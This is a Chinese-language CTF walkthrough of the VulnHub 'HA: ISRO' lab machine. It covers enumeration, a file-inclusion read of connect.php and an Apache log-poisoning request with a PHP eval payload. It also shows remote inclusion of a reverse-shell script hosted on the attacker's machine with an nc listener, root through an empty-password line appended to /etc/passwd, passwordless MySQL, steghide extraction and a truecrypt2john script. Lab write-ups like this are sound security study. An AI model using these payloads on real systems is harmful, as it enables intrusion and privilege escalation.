ha:isro靶机 writeup（并不完整）

原创

kulP1n 于 2019-11-02 13:02:39 发布 515 收藏
分类专栏： 靶机/ctf 文章标签： 靶机

靶机地址： https://www.vulnhub.com/entry/ha-isro,376/

根据作者的提示，一共四个flag，主要测试枚举的能力，后面我才发现是枚举说的是社工。。。

1. Aryabhata
2. Bhaskara
3. Mangalyaan
4. Chandrayaan 2

0x01 遇事不决nmap

nmap扫描结果：

192.168.109.129

22 ssh

80 http

没有3306，也就是没开数据库，大概率找后台然后文件上传拿shell

0x02 敏感目录扫描

wfuzz配上字典来一发

```
index.html

connect.php

?.php //没啥用，其实就不是文件
```

/img 这个地方成功找到第一个flag，Aryabhata.jpg binwalk了一下，也没藏什么东西，先往后稍稍

/bhaskara.html 源代码的Footer位置,出现一个神秘的base64

```
<!-- Footer -->
<!--BHASKARA LAUNCH CODE: L2JoYXNrYXJh -->
<footer class="w3-container w3-padding-64 w3-center w3-opacity w3-light-grey w3-xlarge">
 <p class="w3-medium">Powered by <a href="https://hackingarticles.in" target="_blank">Hacking Articles</a><
</footer>
</body>
</html>
```

解码得到`/bhaskara`,访问，出现一个下载文件 IDA打开发现是个二进制文件，file命令显示是个data文件，扔binwalk也没发现有什么隐藏信息，先放放

0x03 准备测试connect.php的位置

查了一下twitter的大佬们，从web入手，现在就是找后台或者接着测connect.php

php伪协议

connect.php?file=php://filter/read=convert.base64-encode/resource=connect.php

```
connect.php
<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("index.php");
   }
?>

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
isro:x:1000:1000:isro,,,:/home/isro:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
mysql:x:108:115:MySQL Server,,,:/nonexistent:/bin/false
```

查看apt的安装历史，发现装了unzip，mysql-client，mysql-server，php7.2，vsfftp，apache2，openssh-server，

去twitter看了一下大佬以前的文章，发现一个好玩的东西 LFI的Aache日志中毒，测一下试试

编写payload

```
GET /connect.php?file=connetc.php HTTP/1.1
Host: 192.168.109.129
User-Agent: Mozilla/5.0 <?php eval($_GET('a'))?> Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

/connect.php?file=/var/log/apt/history.log

很可惜，没有回显，估计没给访问的权限，放弃

0x04 测试Bin文件bhaskara

binwalk，strings命令都没有发现有用的东西，查看十六进制也没发现什么好玩的，根据服务器上apt安装的服务的确想不出来应该是什么文件

0x05 收集twitter信息

一个LFI的Aache日志中毒，一个用于Pentester的Linux: APT特权升级，一个Exploiting Wildcard for Privilege Escalation，

很遗憾，并不是日志污染，还是年轻了，这就是个SSRF。。。

kali把自带的nginx打开，/etc/init.d/nginx start，防火墙80端口打开，然后扔一个php反弹shell脚本进/var/www/html目录，再访问靶机的connect.php

```
connect.php?file=http://192.168.109.128/reverse.php
```

kali来一个nc -lvvp 1145，摸到shell

然后 ls -al /etc/passwd会发现是可读权限，直接菜鸡提权术

```
echo "kui::0:0:::/bin/bash" >>/etc/passwd
```

进root目录下看看，发现final.txt，好吧，直接通关

```
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

No directory, logging in with HOME=/
root@ubuntu:/#
root@ubuntu:/# pwd
/
root@ubuntu:/# cd /root
root@ubuntu:/root# ls
final.txt
root@ubuntu:/root# cat final.txt

8888888       .d8888b.       8888888b.        .d88888b.
  888        d88P  Y88b      888    Y88b      d88P" "Y88b
  888        Y88b.           888     888      888     888
  888         "Y888b.        888   d88P      888     888
  888            "Y88b.      8888888P"       888     888
  888              "888      888 T88b        888     888
  888    d8b Y88b  d88P d8b 888  T88b  d8b Y88b. .d88P
8888888 Y8P  "Y8888P"  Y8P 888   T88b Y8P  "Y88888P"


  Chandrayaan Flag:{0ad8d59efe7ce5c820aa7350a5d708b2}


!! Congrats you have finished this task !!

Contact us here:

Hacking Articles : https://twitter.com/rajchandel/
Aarti: https://in.linkedin.com/in/aarti-singh-353698114

+-+-+-+-+-+ +-+-+-+-+-+-+-+
 |E|n|j|o|y| |H|A|C|K|I|N|G|
 +-+-+-+-+-+ +-+-+-+-+-+-+-+

root@ubuntu:/root# _
```


想起前面还有个数据库，没想到直接一个mysql就进去了，密码都不用输，之后就是show databases,show tables,select * from flag完事。

```
mysql> select * from flag;
+-----------------------------------------------------+
| flag                                                |
+-----------------------------------------------------+
| Mangalyaan Flag:{d8a7f803e36f1c84e277009bf2c0f435} |
+-----------------------------------------------------+
1 row in set (0.03 sec)

mysql> _
```

0x06 逝去的bhaskara（没整完，配置起来有点麻烦）

file bhaskara查看，依旧是data数据，根据大佬的writeup，这个竟然需要解密，web不行密码学来凑（你不说谁懂这个啊）

这里用到一个曾经也辉煌过的加密方式，truecrypt，这个是14年之后就停止更新了，所以不知道很正常

大佬给出的解密方法

https://raw.githubusercontent.com/truongkma/ctf-tools/master/John/run/truecrypt2john.py

```
python true.py bhaskara > hashes
john hashes --show
```

```
#!/usr/bin/env python

# TrueCrypt volume importion to a format usable by John The Ripper
#
# Written by Alain Espinosa <alainesp at gmail.com> in 2012.  No copyright
# is claimed, and the software is hereby placed in the public domain.
# In case this attempt to disclaim copyright and place the software in the
# public domain is deemed null and void, then the software is
# Copyright (c) 2012 Alain Espinosa and it is hereby released to the
# general public under the following terms:
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
#
# There's ABSOLUTELY NO WARRANTY, express or implied.
#
# (This is a heavily cut-down "BSD license".)
#
# Ported to Python by Dhiru Kholia, in June of 2015

import sys
from os.path import basename
import binascii


def process_file(filename, keyfiles):

    try:
        f = open(filename, "rb")
    except Exception as e:
        sys.stderr.write("%s : No truecrypt volume found? %s\n" % str(e))
        return

    header = f.read(512)  # encrypted header of the volume
    if len(header) != 512:
        f.close()
        sys.stderr.write("%s : Truecrypt volume file to short: Need at least 512 bytes\n", filename)
        return

    for tag in ["truecrypt_RIPEMD_160", "truecrypt_SHA_512", "truecrypt_WHIRLPOOL"]:
        sys.stdout.write("%s:%s$" % (basename(filename), tag))
        sys.stdout.write(binascii.hexlify(header))
        if keyfiles:
            nkeyfiles = len(keyfiles)
            sys.stdout.write("$%d" % (nkeyfiles))
            for keyfile in keyfiles:
                sys.stdout.write("$%s" % keyfile)
        sys.stdout.write(":normal::::%s\n" % filename)

    # try hidden volume if any
    f.seek(65536, 0)
    if f.tell() != 65536:
        f.close()
        return
```

```
    header = f.read(512)
    if len(header) != 512:
        f.close()
        return

    for tag in ["truecrypt_RIPEMD_160", "truecrypt_SHA_512", "truecrypt_WHIRLPOOL"]:
        sys.stdout.write("%s:%s$" % (basename(filename), tag))
        sys.stdout.write(binascii.hexlify(header))
        if keyfiles:
            nkeyfiles = len(keyfiles)
            sys.stdout.write("$%d" % (nkeyfiles))
            for keyfile in keyfiles:
                sys.stdout.write("$%s" % keyfile)
        sys.stdout.write(":hidden:::%s\n" % filename)

    f.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        sys.stderr.write("Error: No truecrypt volume file specified.\n")
        sys.stderr.write("\nUtility to import TrueCrypt volume to a format crackeable by John The Ripper\n"
        sys.stderr.write("\nUsage: %s volume_filename [keyfiles(s)]> output_file\n" % sys.argv[0])
        sys.exit(-1)

    keyfiles = []
    if len(sys.argv) > 2:
        keyfiles = sys.argv[2:]

    process_file(sys.argv[1], keyfiles)
```

好吧，没有字典似乎是整不动，而且有点过于麻烦（指针对web狗来，有兴趣的可以去大佬的writeup上看看）

0x07图片隐写

在img目录下有张跟周围完全不大的图片，下载下来，根据提示这个就是隐藏flag的地方了 binwalk来一个，没用。。。 根据作者的writeup，需要一个steghide，直接 `apt-get install steghide`就完事了 在跟一个`steghide extract -sf aryabhata.jpg`，完事

```
root@kuipla:~# steghide extract -sf aryabhata.jpg
Enter passphrase:
wrote extracted data to "flag.txt".
root@kuipla:~# cat flag.txt
Aryabhata Flag:{e39cf1cbb00f09141259768b6d4c63fb}
root@kuipla:~#
```

等有空再把bhaskara的flag拿了吧（指摸了）

参考链接：

https://www.hackingarticles.in/ha-isro-vulnhub-walkthrough/